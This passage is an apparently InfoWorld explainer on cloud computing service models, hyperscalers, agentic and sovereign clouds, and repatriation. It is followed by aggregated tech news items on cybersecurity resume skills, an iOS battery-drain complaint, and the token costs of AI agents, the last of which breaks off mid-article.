<li><strong>Agentic cloud ecosystems: </strong> The shift from AI as a tool to AI as an autonomous operator within cloud environments.</li>
<li><strong>Sovereign and localized clouds: </strong> Meeting strict national data residency and digital sovereignty laws.</li>
<li><strong>Specialized AI hardware access: </strong> Navigating the GPU capacity crunch through reserved instances and boutique AI clouds.</li>
<li><strong>Integrated greenOps: </strong>Merging cost optimization with mandatory carbon-footprint reporting.</li>
<li><strong>Industry-specific walled gardens: </strong> The maturation of vertical clouds into highly regulated, precompliant environments for finance and healthcare.</li>
</ol>






<p class="wp-block-paragraph">Next in line is IaaS (infrastructure as a service), which offers vast, virtualized compute, storage, and network infrastructure upon which customers build their own applications, often with the aid of providers’ <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a>-accessible services.</p>



<p class="wp-block-paragraph">When people refer to the “the cloud” today, they most often mean the big IaaS providers: AWS (Amazon Web Services), Google Cloud Platform, or Microsoft Azure. All three have become ecosystems of services that go way beyond infrastructure and include developer tools, serverless computing, machine learning services and APIs, data warehouses, and thousands of other services. With both SaaS and IaaS, a key benefit is agility. Customers gain new capabilities almost instantly without the capital investment in hardware or software on-premises — and they can instantly scale the cloud resources they consume up or down as needed.</p>



<p class="wp-block-paragraph">According to <a href="https://foundryco.com/research/cloud-computing/">Foundry’s Cloud Computing Study, 2025</a>, enterprises are moving to the cloud to improve security and/or governance, increase scalability​, accelerate adoption of artificial intelligence and machine learning and other new technologies, replace on-premises legacy technology, ​improve employee productivity, and ensure disaster recovery and business continuity.</p>



<h2 class="wp-block-heading">Hyperscalers now dominate cloud services</h2>



<p class="wp-block-paragraph">The largest cloud service providers are often described as hyperscalers, due to their capability to provide large-scale data centers across the globe. Hyperscalers typically offer a wide range of cloud services, including IaaS, PaaS, SaaS, and more.</p>



<p class="wp-block-paragraph">As mentioned above, notable hyperscalers include Amazon Web Services (AWS), Google Cloud Platform, and Microsoft Azure. They offer the following capabilities.</p>



<ul class="wp-block-list">
<li><strong>Scalability</strong>: Hyperscalers can handle massive workloads and scale resources up or down quickly.</li>



<li><strong>Cost-effectiveness</strong>: Hyperscalers often offer competitive pricing and economies of scale.</li>



<li><strong>Global reach</strong>: Hyperscalers operate data centers around the world, providing low-latency access to customers in different regions.</li>



<li><strong>Innovation</strong>: Hyperscalers are at the forefront of cloud innovation, offering new services and features.</li>
</ul>



<h3 class="wp-block-heading">Challenges of working with hyperscalers</h3>



<ul class="wp-block-list">
<li><strong>Vendor lock-in</strong>: Relying heavily on a single hyperscaler can create <a href="https://www.cio.com/article/648048/hyperscalers-in-crosshairs-for-anti-competitive-pricing-and-lock-in.html">vendor lock-in</a>, making it difficult to switch to another provider and charging large egress fees if you do move.</li>



<li><strong>Complexity</strong>: Hyperscalers offer a vast array of services, which can be overwhelming for some customers.</li>



<li><strong>Security concerns</strong>: Because hyperscalers handle sensitive data, security is a major concern.</li>
</ul>



<h2 class="wp-block-heading"><strong>AI, Agents, and the Sovereign Cloud</strong></h2>



<p class="wp-block-paragraph">The AI-enabled enterprise has moved beyond simple chatbots. The focus has shifted to <strong>agentic workflows </strong>— autonomous systems that reside in the cloud and possess the authority to execute business processes, manage cloud spend, and self-patch security vulnerabilities without human intervention.</p>



<h3 class="wp-block-heading"><strong>The shift to agentic infrastructure</strong></h3>



<p class="wp-block-paragraph">Cloud providers are no longer just selling compute. They are selling <strong>inference-as-a-service</strong>. Modern cloud budgets are now dominated by the high cost of specialized GPU clusters (such as Nvidia’s Blackwell architecture). This has led to the rise of boutique AI clouds that compete with hyperscalers by offering bare-metal access to the latest silicon specifically for model training and fine-tuning.</p>



<h3 class="wp-block-heading"><strong>Data sovereignty and private AI</strong></h3>



<p class="wp-block-paragraph">A major shift in late 2025 is the move away from public AI models for sensitive data. Organizations are increasingly using retrieval-augmented generation (RAG) within walled garden environments. This ensures that a company’s proprietary data never leaves their specific cloud instance to train a provider’s base model.</p>



<p class="wp-block-paragraph">Furthermore, sovereign AI has become a requirement for global operations. Governments now demand that the AI models processing their citizens’ data be hosted on infrastructure that is owned, operated, and governed within their own borders.</p>



<h3 class="wp-block-heading"><strong>The challenges of ghost AI</strong></h3>



<p class="wp-block-paragraph">Just as shadow IT plagued the 2010s, ghost AI—unauthorized AI agents running on corporate cloud accounts — has become a primary security risk. Managing these autonomous entities requires a new layer of <strong>AI governance</strong>, where the cloud provider automatically audits the intent and permissions of every running agent to prevent runaway costs or data leaks.</p>



<h2 class="wp-block-heading">Cloud computing definitions</h2>



<p class="wp-block-paragraph">In 2011, <a href="https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-145.pdf">NIST posted a PDF</a> that divided cloud computing into three “service models” — SaaS, IaaS, and PaaS (platform as a service) — the latter being a controlled environment within which customers develop and run applications. These three categories have largely stood the test of time, although most PaaS solutions now are made available as services within IaaS ecosystems rather than as dedicated PaaS clouds.</p>



<p class="wp-block-paragraph">Two evolutionary trends stand out since NIST’s threefold definition. One is the long and growing list of subcategories within SaaS, IaaS, and PaaS, some of which blur the lines between categories. The other is the explosion of API-accessible services available in the cloud, particularly within IaaS ecosystems. The cloud has become a crucible of innovation where many emerging technologies appear first as services, a big attraction for business customers who understand the potential competitive advantages of early adoption.</p>



<h3 class="wp-block-heading"><strong>SaaS (software as a service) definition</strong></h3>



<p class="wp-block-paragraph">This type of cloud computing delivers applications over the internet, typically with a browser-based user interface. Today, most software companies offer their wares via <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS </a>— if not exclusively, then at least as an option.</p>



<p class="wp-block-paragraph">The most popular SaaS applications for business are <a href="https://www.computerworld.com/article/3570821/google-workspace-explained-googles-answer-to-microsoft-365.html">Google’s G Suite</a> and <a href="https://www.computerworld.com/article/1710782/office-2021-vs-microsoft-365-office-365-how-to-choose.html">Microsoft’s Office 365</a>. Most enterprise applications, including giant <a href="https://www.cio.com/article/272362/what-is-erp-key-features-of-top-enterprise-resource-planning-systems.html">ERP</a> suites from Oracle and SAP, come in both SaaS and on-premises versions. SaaS applications typically offer extensive configuration options as well as development environments that enable customers to code their own modifications and additions. They also enable data integration with on-prem applications.</p>



<h3 class="wp-block-heading"><strong>IaaS (infrastructure as a service) definition</strong></h3>



<p class="wp-block-paragraph">At a basic level, <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">IaaS </a>cloud providers offer virtualized compute, storage, and networking over the internet on a pay-per-use basis. Think of it as a data center maintained by someone else, remotely, but with a software layer that virtualizes all those resources and automates customers’ ability to allocate them with little trouble.</p>



<p class="wp-block-paragraph">But that’s just the basics. The full array of services offered by the major public IaaS providers is staggering: <a href="https://www.infoworld.com/article/2269279/the-era-of-the-cloud-database-has-finally-begun.html">highly scalable databases</a>, virtual private networks, <a href="https://www.infoworld.com/article/2255434/what-is-big-data-analytics-fast-answers-from-diverse-data-sets.html">big data analytics</a>, <a href="https://www.infoworld.com/article/2259367/buyers-guide-how-to-choose-a-cloud-machine-learning-platform.html">AI and machine learning services</a>, application platforms, developer tools, <a href="https://www.infoworld.com/article/3215275/what-is-devops-transforming-software-development.html">devops</a> tools, and so on. Amazon Web Services was the first IaaS provider and remains the leader, followed by <a href="https://www.infoworld.com/article/2269424/azure-cloud-services-guide-the-right-tools-for-the-job.html">Microsoft Azure</a>, <a href="https://www.infoworld.com/article/2263677/google-cloud-platform-services-guide-the-right-tools-for-the-job.html">Google Cloud Platform</a>, <a href="https://www.infoworld.com/article/2256709/ibm-cloud-services-guide-the-right-tools-for-the-job.html">IBM Cloud</a>, and <a href="https://www.infoworld.com/article/3529339/oracle-cloudworld-2024-10-key-takeaways-from-the-big-annual-event.html">Oracle Cloud</a>.</p>



<h3 class="wp-block-heading"><strong>PaaS (platform as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">PaaS</a> provides sets of services and workflows that specifically target developers, who can use shared tools, processes, and APIs to accelerate the development, testing, and deployment of applications. Salesforce’s <a href="https://www.infoworld.com/article/2257217/5-foolish-reasons-youre-not-using-heroku.html">Heroku</a> and Salesforce Platform (formerly Force.com) are popular public cloud PaaS offerings; <a href="https://www.infoworld.com/article/2258957/cloud-foundry-stages-a-comeback.html">Cloud Foundry</a> and Red Hat’s <a href="https://www.infoworld.com/article/2261552/red-hat-openshift-adds-containers-and-microservices-features-for-developers.html">OpenShift</a> can be deployed on premises or accessed through the major public clouds. For enterprises, PaaS can ensure that developers have ready access to resources, follow certain processes, and use only a specific array of services, while operators maintain the underlying infrastructure.</p>



<h3 class="wp-block-heading"><strong>FaaS (function as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256402/paas-caas-or-faas-how-to-choose.html">FaaS</a>, the original and most basic version of <a href="https://www.infoworld.com/article/2266283/serverless-in-the-cloud-aws-vs-google-cloud-vs-microsoft-azure.html">serverless computing</a>, adds another layer of abstraction to PaaS, so that developers are insulated from everything in the stack below their code. Instead of futzing with virtual servers, containers, and application runtimes, developers upload narrowly functional blocks of code, and set them to be triggered by a certain event (such as a form submission or uploaded file). All of the major clouds offer FaaS on top of IaaS: <a href="https://www.infoworld.com/article/2265897/aws-lambda-tutorial-get-started-with-serverless-computing-2.html">AWS Lambda</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Azure Functions</a>, <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google Cloud Functions</a>, and IBM Cloud Functions. A special benefit of FaaS applications is that they consume no IaaS resources until an event occurs, reducing pay-per-use fees.</p>



<h3 class="wp-block-heading"><strong>Private cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2179737/build-your-own-private-cloud-2.html">private cloud</a> downsizes the technologies used to run IaaS public clouds into software that can be deployed and operated in a customer’s data center. As with a public cloud, internal customers can provision their own virtual resources to build, test, and run applications, with metering to charge back departments for resource consumption. For administrators, the private cloud amounts to the ultimate in data center automation, minimizing manual provisioning and management.</p>



<p class="wp-block-paragraph">VMware remains a force in the private cloud software market, but the acquisition by Broadcom has created confusion and raised concerns among some customers about potential changes in pricing, licensing, and support. This could lead some organizations to explore alternative solutions.</p>



<p class="wp-block-paragraph">OpenStack continues to be a popular open-source choice for building private clouds. It offers a flexible and customizable platform that can be tailored to specific needs. However, OpenStack can be complex to deploy and manage, and it may require significant expertise to maintain.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3268073/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, a container orchestration platform that has gained significant traction in recent years, is often used in conjunction with other technologies like OpenStack to build <a href="https://www.infoworld.com/article/3281046/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native</a> applications. Red Hat OpenShift is a comprehensive cloud platform based on Kubernetes that provides a managed experience for deploying and managing <a href="https://www.infoworld.com/article/3310941/why-you-should-use-docker-and-containers.html">container</a>-based, applications.</p>



<p class="wp-block-paragraph">Many cloud providers offer their own cloud-native platforms and tools, such as <a href="https://www.networkworld.com/article/968169/aws-rolls-out-outposts-for-on-premises-hybrid-cloud.html">AWS Outposts</a>, <a href="https://www.infoworld.com/article/2253985/a-cloud-in-your-datacenter-microsoft-azure-stack-arrives.html">Azure Stack</a>, and <a href="https://www.infoworld.com/article/2257617/what-is-google-cloud-anthos-managed-kubernetes-everywhere.html">Google Cloud Anthos</a>.</p>



<p class="wp-block-paragraph">Common factors to consider when evaluating private cloud platforms include the following:</p>



<ol class="wp-block-list">
<li><strong>Pricing</strong>: The initial cost of deployment and ongoing maintenance costs.</li>



<li><strong>Complexity</strong>: The level of technical expertise needed to manage the platform.</li>



<li><strong>Flexibility</strong>: The ability to customize the platform to meet specific needs.</li>



<li><strong>Vendor lock-in</strong>: The degree to which the organization is tied to a particular vendor.</li>



<li><strong>Security</strong>: The security features and capabilities of the platform.</li>



<li><strong>Scalability</strong>: The capability to expand the platform to meet future needs.</li>
</ol>



<h3 class="wp-block-heading"><strong>Hybrid cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2257084/hybrid-cloud-private-cloud-public-cloud-multicloud-how-to-choose.html">hybrid cloud</a> is the integration of a private cloud with a public cloud. At its most developed, the hybrid cloud involves creating parallel environments in which applications can move easily between private and public clouds. In other instances, databases may stay in the customer data center and integrate with public cloud applications — or virtualized data center workloads may be replicated to the cloud during times of peak demand. The types of integrations between private and public clouds vary widely, but they must be extensive to earn a hybrid cloud designation.</p>



<h3 class="wp-block-heading"><strong>Public APIs (application programming interfaces) definition</strong></h3>



<p class="wp-block-paragraph">Just as SaaS delivers applications to users over the internet, public <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a> offer developers application functionality that can be accessed programmatically. For example, in building web applications, developers often tap into the Google Maps API to provide driving directions; to integrate with social media, developers may call upon APIs maintained by Twitter, Facebook, or LinkedIn. <a href="https://www.infoworld.com/article/2253662/get-started-with-twilios-programmable-video-api.html">Twilio</a> has built a successful business delivering telephony and messaging services via public APIs. Ultimately, any business can provision its own public APIs to enable customers to consume data or access application functionality.</p>



<h3 class="wp-block-heading"><strong>iPaaS (integration platform as a service) definition</strong></h3>



<p class="wp-block-paragraph">Data integration is a key issue for any sizeable company, but particularly for those that adopt SaaS at scale. iPaaS providers typically offer prebuilt connectors for sharing data among popular SaaS applications and on-premises enterprise applications, though providers may focus more or less on business-to-business and e-commerce integrations, cloud integrations, or traditional SOA-style integrations. iPaaS offerings in the cloud from such providers as Dell Boomi, Informatica, MuleSoft, and SnapLogic also let users implement data mapping, transformations, and workflows as part of the integration-building process.</p>



<h3 class="wp-block-heading"><strong>IDaaS (identity as a service) definition</strong></h3>



<p class="wp-block-paragraph">The most difficult security issue related to <a href="https://www.infoworld.com/article/2268884/why-cloud-computing-is-always-a-good-question.html">cloud computing</a> is managing user identity and its associated rights and permissions across data centers and pubic cloud sites. <a href="https://www.csoonline.com/article/572759/idaas-explained-how-it-compares-to-iam.html">IDaaS providers</a> maintain cloud-based user profiles that authenticate users and enable access to resources or applications based on security policies, user groups, and individual privileges. The ability to integrate with various directory services (Active Directory, LDAP, etc.) and provide single sign-on across business-oriented SaaS applications is essential.</p>



<p class="wp-block-paragraph">Leaders in IDaaS include Microsoft, IBM, Google, Oracle, Okta, Capgemini, Okta, Junio Corporation, OneLogin, and JumpCloud. <strong> </strong></p>



<h3 class="wp-block-heading"><strong>Collaboration platforms</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/3595255/slack-adds-templates-to-help-users-kick-off-projects-quicker.html">Collaboration solutions such as Slack</a> and <a href="https://www.computerworld.com/article/3593909/microsoft-combines-teams-chat-and-channels-in-ui-refresh.html">Microsoft Teams</a> have become vital messaging platforms that enable groups to communicate and work together effectively. Basically, these solutions are relatively simple SaaS applications that support chat-style messaging along with file sharing and audio or video communication. Most offer APIs to facilitate integrations with other systems and enable third-party developers to create and share add-ins that augment functionality.</p>



<h3 class="wp-block-heading"><strong>Vertical clouds</strong></h3>



<p class="wp-block-paragraph">Key providers in such industries as financial services, healthcare, retail, life sciences, and manufacturing provide PaaS clouds to enable customers to build vertical applications that tap into industry-specific, API-accessible services. Vertical clouds can dramatically reduce the time to market for vertical applications and accelerate domain-specific B2B integrations. Most vertical clouds are built with the intent of nurturing partner ecosystems.</p>



<h2 class="wp-block-heading"><strong>Other cloud computing considerations</strong></h2>



<p class="wp-block-paragraph">The most widely accepted definition of cloud computing means that you run your workloads on someone else’s servers, but this is not the same as outsourcing. Virtual cloud resources and even SaaS applications must be configured and maintained by the customer. Consider these factors when planning a cloud initiative.</p>



<h3 class="wp-block-heading"><strong>Cloud computing security considerations</strong></h3>



<p class="wp-block-paragraph">Objections to the public cloud generally begin with <a href="https://www.csoonline.com/article/555213/top-cloud-security-threats.html">cloud security</a>, although the major public clouds have proven themselves much less susceptible to attack than the average enterprise data center.</p>



<p class="wp-block-paragraph">Of greater concern is the integration of security policy and identity management between customers and public cloud providers. In addition, government regulation may forbid customers from allowing sensitive data off-premises. Other concerns include the risk of outages and the long-term operational costs of public cloud services.</p>



<h3 class="wp-block-heading"><strong>Multicloud management considerations</strong></h3>



<p class="wp-block-paragraph">To enhance their operational efficiency, reduce costs, and improve security, many companies are increasingly turning to <a href="https://www.infoworld.com/article/2335587/can-cloud-computing-be-truly-federated.html">multicloud strategies</a>. By distributing workloads across <a href="https://www.infoworld.com/article/2336303/are-the-different-public-clouds-really-that-different.html">multiple cloud providers</a>, organizations can avoid vendor lock-in, <a href="https://www.infoworld.com/article/2261783/3-cloud-architecture-patterns-that-optimize-scalability-and-cost.html">optimize costs</a>, and leverage the best-of-breed services offered by different providers.</p>



<p class="wp-block-paragraph">This multicloud approach also improves performance and reliability by minimizing downtime and optimizing latency. Additionally, multicloud strategies strengthen security by diversifying the attack surface and facilitating compliance with industry regulations. Finally, by replicating critical workloads across multiple regions and providers, companies can establish robust disaster recovery and business continuity plans, ensuring minimal disruption in the event of catastrophic failures.</p>



<p class="wp-block-paragraph">The bar to qualify as a <a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">multicloud</a> adopter is low: A customer just needs to use more than one public cloud service. However, depending on the number and variety of cloud services involved, managing multiple clouds can become complex from both a cost optimization and a technology perspective.</p>



<p class="wp-block-paragraph">In some cases, customers subscribe to multiple cloud services simply to avoid dependence on a single provider. A more sophisticated approach is to select public clouds based on the unique services they offer and, in some cases, integrate them. For example, developers might want to use Google’s <a href="https://www.infoworld.com/article/2336686/google-vertex-ai-studio-puts-the-promise-in-generative-ai.html">Vertex AI Studio</a> on Google Cloud Platform to build AI-driven applications, but prefer <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a> hosted on the CloudBees platform for <a href="https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration</a>.</p>



<p class="wp-block-paragraph">To control costs and reduce management overhead, some customers opt for <a href="https://www.infoworld.com/article/3520828/how-cloud-custodian-conquered-cloud-resource-management.html">cloud management platforms</a> (CMPs) and/or cloud service brokers (CSBs), which let you manage multiple clouds as if they were one cloud. The problem is that these solutions tend to limit customers to such common-denominator services as storage and compute, ignoring the panoply of services that make each cloud unique.</p>



<h3 class="wp-block-heading"><strong>Edge computing considerations</strong></h3>



<p class="wp-block-paragraph">You often see <a href="https://www.networkworld.com/article/964305/what-is-edge-computing-and-how-it-s-changing-the-network.html">edge computing</a> incorrectly described as an alternative to cloud computing. Edge computing is about moving compute to local devices in a highly distributed system, typically as a layer around a cloud computing core. There is typically a cloud involved to orchestrate all of the devices and take in their data, then analyze it or otherwise act on it. </p>



<h3 class="wp-block-heading"><strong>To the cloud and back – why repatriation is real</strong></h3>



<p class="wp-block-paragraph">While public cloud offers scalability and flexibility, some enterprises are opting to <a href="https://www.infoworld.com/article/2336102/why-companies-are-leaving-the-cloud.html">return to on-premises infrastructure</a> due to rising costs, data security concerns, performance issues, vendor lock-in, and regulatory compliance challenges. While the public cloud offers scalability and flexibility, on-premises infrastructure provides greater control, customization, and potential cost savings in certain scenarios leading some technology decision-makers to <a href="https://www.infoworld.com/article/2336835/do-you-need-to-repatriate-from-the-cloud.html">consider repatriation</a>. However, a hybrid cloud approach, combining public and private cloud, often offers the best balance of benefits.</p>



<p class="wp-block-paragraph">More specific reasons to repatriate including the following:</p>



<ul class="wp-block-list">
<li>Unanticipated costs, such as data transfer fees, storage charges, and <a href="https://www.infoworld.com/article/2336430/why-public-cloud-providers-are-cutting-egress-fees.html">egress fees</a>, can quickly escalate, especially for large-scale cloud deployments.  </li>



<li>Inaccurate resource provisioning or underutilization can lead to higher-than-expected costs.</li>



<li>Stricter <a href="https://www.infoworld.com/article/3545268/why-cloud-security-outranks-cost-and-scalability.html">data privacy regulations</a> require organizations to store and process data within specific geographic boundaries.  </li>



<li>For highly sensitive data, companies may prefer to maintain greater control over security measures and access permissions. </li>



<li><a href="https://www.infoworld.com/article/2338856/cloud-may-be-overpriced-compared-to-on-premises-systems.html">On-premises infrastructure</a> can offer lower latency, particularly for applications requiring real-time processing or high-performance computing.  </li>



<li>Overreliance on a single cloud provider can limit flexibility and increase costs. Repatriation allows organizations to diversify their infrastructure and reduce vendor dependency.  </li>



<li>Industries with stringent compliance requirements may find it easier to meet standards with on-premises infrastructure.  </li>



<li>On-premises environments offer greater control over hardware, software, and network configurations, allowing for customized solutions.  </li>
</ul>



<h2 class="wp-block-heading"><strong>Benefits of cloud computing</strong></h2>



<p class="wp-block-paragraph">The cloud’s main appeal is to reduce the time to market of applications that need to scale dynamically. Increasingly, however, developers are drawn to the cloud by the abundance of advanced new services that can be incorporated into applications, from machine learning to internet of things (IoT) connectivity.</p>



<p class="wp-block-paragraph">Although businesses sometimes migrate legacy applications to the cloud to reduce data center resource requirements, the real benefits accrue to new applications that take advantage of cloud services and “cloud native” attributes. The latter include <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices architecture</a>, <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Linux containers</a> to enhance application portability, and container management solutions such as <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> that orchestrate container-based services. <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">Cloud-native</a> approaches and solutions can be part of either public or private clouds and help enable highly efficient <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> workflows.</p>



<p class="wp-block-paragraph">Cloud computing, be it public or private or hybrid or multicloud, has become the platform of choice for large applications, particularly customer-facing ones that need to change frequently or scale dynamically. More significantly, the major public clouds now lead the way in enterprise technology development, debuting new advances before they appear anywhere else. Workload by workload, enterprises are opting for the cloud, where an endless parade of exciting new technologies invite innovative use.</p>



<p class="wp-block-paragraph">SaaS has its roots in the ASP (application service provider) trend of the early 2000s, when providers would run applications for business customers in the provider’s data center, with dedicated instances for each customer. The ASP model was a spectacular failure because it quickly became impossible for providers to maintain so many separate instances, particularly as customers demanded customizations and updates.</p>



<p class="wp-block-paragraph">Salesforce is widely considered the first company to launch a highly successful SaaS application using <a href="https://www.infoworld.com/article/2335534/the-evolution-of-multitenancy-for-cloud-computing.html">multitenancy</a> — a defining characteristic of the SaaS model. Rather than each Salesforce customer getting its own application instance, customers who subscribe to the company’s salesforce automation software share a single, large, dynamically scaled instance of an application (like tenants sharing an apartment building), while storing their data in separate, secure repositories on the SaaS provider’s servers. Fixes can be rolled out behind the scenes with zero downtime and customers can receive UX or functionality improvements as they become available.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Cybersecurity Skills for Resume: Top Skills to List]]></title>
<description><![CDATA[Securing a modern digital infrastructure requires a lot more than just knowing technical terms. Companies face constant attacks, which explains why employers increasingly screen resumes for cybersecurity capabilities. When you apply for a role, HR managers look for a specific balance. They expect...]]></description>
<link>https://tsecurity.de/de/3665381/it-security-nachrichten/cybersecurity-skills-for-resume-top-skills-to-list/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665381/it-security-nachrichten/cybersecurity-skills-for-resume-top-skills-to-list/</guid>
<pubDate>Mon, 13 Jul 2026 15:24:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/cybersecurity-skills-for-resume-top-skills-to-list" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/Top_Cybersecurity_Skills_with_bgc.webp" alt="Top Cybersecurity Skills" class="hs-featured-image"> </a> 
</div> 
<p>Securing a modern digital infrastructure requires a lot more than just knowing technical terms. Companies face constant attacks, which explains why employers increasingly screen resumes for cybersecurity capabilities. When you apply for a role, HR managers look for a specific balance. They expect deep technical knowledge. They also want clear evidence that you can apply it under pressure. Adding the right cybersecurity skills for resume optimization means showing exactly how you solve practical problems.<br></p>]]></content:encoded>
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<title><![CDATA[Some iPhone Users Blame iOS 26.5.2 Update Of Rapid Battery Drain]]></title>
<description><![CDATA[Recently, the team at Apple rolled out the 26.5.2 stable software update to patch security flaws and fix software bugs, but it looks like the download brought some serious issues for many users. Shortly after installing the iOS 26 update, people started flooding social media platforms to complain...]]></description>
<link>https://tsecurity.de/de/3664277/ios-mac-os/some-iphone-users-blame-ios-2652-update-of-rapid-battery-drain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664277/ios-mac-os/some-iphone-users-blame-ios-2652-update-of-rapid-battery-drain/</guid>
<pubDate>Mon, 13 Jul 2026 07:24:09 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Recently, the team at Apple rolled out the 26.5.2 stable software update to patch security flaws and fix software bugs, but it looks like the download brought some serious issues for many users. Shortly after installing the iOS 26 update, people started flooding social media platforms to complain about their phones dying way faster than usual. On top of the awful battery life, many reported their devices becoming incredibly hot to the touch.



Background processes and rogue apps are draining your battery



One user on Reddit using an iPhone 16 Pro Max noted that their battery life was reduced right after they installed the update. The user also mentioned the phone was getting extremely warm in a very short amount of time. A fast-draining battery and a hot device usually go hand in hand, and they often signal that something in the background is not working correctly.



Sometimes, a major update triggers a lot of hidden background work like file indexing and system optimization, which forces the processor to work overtime. This process alone can eat up power for a couple of days.



However, third-party applications often take the blame for sudden power drops after a fresh iOS update. Popular social media apps are notorious for pulling too much energy in the background if they are not updated to the new software version. Users should check their battery settings to see which apps are hogging power and turn off background refresh for anything acting suspicious.



While background indexing explains temporary battery drops, the extreme heat points to deeper software issues. If this is a widespread flaw, a small corrective update should drop very soon to cool things down and restore normal battery life.]]></content:encoded>
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<title><![CDATA[DeepSeek cut prices 75%. The 100x problem remains]]></title>
<description><![CDATA[DeepSeek's recent decision to drastically cut pricing on its V4-Pro model by 75% should have been unequivocally good news for enterprise AI vendors and developers. Instead, many are discovering that cheaper models don’t automatically translate into healthier margins.The reason is simple: While in...]]></description>
<link>https://tsecurity.de/de/3663813/it-nachrichten/deepseek-cut-prices-75-the-100x-problem-remains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663813/it-nachrichten/deepseek-cut-prices-75-the-100x-problem-remains/</guid>
<pubDate>Sun, 12 Jul 2026 22:16:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>DeepSeek's recent decision to <a href="https://venturebeat.com/infrastructure/how-deepseeks-radical-architecture-is-shattering-silicon-valleys-token-moat">drastically cut pricing</a> on its V4-Pro model by 75% should have been unequivocally good news for enterprise AI vendors and developers. Instead, many are discovering that cheaper models don’t automatically translate into healthier margins.</p><p>The reason is simple: While inference costs plummet, agent systems are voraciously consuming tokens faster than prices are declining. For the last 2 decades, software economics was dictated by the same rule. Infra became cheaper every year whereas applications became more capable. AI was initially hypothesized to follow the same pattern. As frontier models improved and token prices dropped, many assumed inference would become a negligible operating expense.That assumption has begun crumbling exponentially. </p><p>A chatbot usually turns one user question into one model call. <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">An agent</a> turns it into a chain of planning, retrieval, tool use, verification, summarization, and follow-up decisions. The user sees one answer. The vendor pays for the loop. That is the 100x problem: The same user-visible request can cost a lot  more to serve as an agentic workflow than as a chatbot or retrieval-augmented generation (RAG) response. In longer-running workflows, the multiplier is higher. Falling model prices help, but they do not fix a product architecture that turns one prompt into dozens of billable operations.</p><p>The scale of what is now at stake is clear in how model providers themselves are pricing developer relationships. OpenAI's proposed program to give every Y Combinator startup $2 million in API credits — a number that would have funded an entire seed round in any prior tech cycle, and when the same cohort got by on a few thousand dollars of AWS credits — is less a recruiting perk than an admission of what it now costs to run an AI-native company through its first year of product. For established enterprises retrofitting agents into existing product lines, the absolute numbers are larger still.</p><h2>What token amplification is</h2><p>In a single-turn chatbot, one user message produces roughly one model call. Input-to-billed ratio is about 1:5.</p><p>In a <a href="https://venturebeat.com/security/forget-typosquatting-slopsquatting-is-the-software-supply-chain-threat-created-by-ai-coding-tools">multi-step agent</a> rolled out across customer support, sales operations, finance, legal review, and engineering, that ratio routinely lands at <b>1:700 or higher</b>. Every loop iteration carries forward the cumulative conversation, tool outputs, and reasoning traces. Each step appends; nothing is dropped.</p><p>A "simple" agent query like “<i>What did our top customer ask about last week?”</i> typically touches seven priced operations before returning an answer:</p><ol><li><p>User prompt (~50 tokens)</p></li><li><p>System prompt and tool definitions (~3,000 tokens, repeated on every call)</p></li><li><p>Retrieval (~5,000 tokens of context)</p></li><li><p>Model call #1 — tool selection (8,000 in / 200 out)</p></li><li><p>Tool execution (~4,000 tokens returned)</p></li><li><p>Model call #2 — summarization (12,000 in / 400 out)</p></li><li><p>Model call #3 — follow-up decision (12,400 in / 100 out)</p></li></ol><p>One sentence in, roughly 35,000 input tokens billed. Somewhere between $0.10 and $0.40 per query on a frontier model. Multiply that by a million queries a month — the table-stakes volume for any enterprise B2B feature — and the line item is six figures.</p><h2>Why this breaks the existing AI business model</h2><p>The dominant pricing story for <a href="https://venturebeat.com/security/prompt-injection-is-exploiting-enterprise-ais-biggest-design-flaws-by-targeting-agents-rag-pipelines-and-model-routers">enterprise AI</a> has been <i>seat-based SaaS</i>: Pay per-user per-month, deliver agent capability, capture margin. That model assumes a reasonably bounded cost-per-user.</p><p>Token amplification breaks the assumption. A power user running 50 agent invocations a day on a $40/seat plan can cost more in inference than the plan charges. Token amplification shatters the 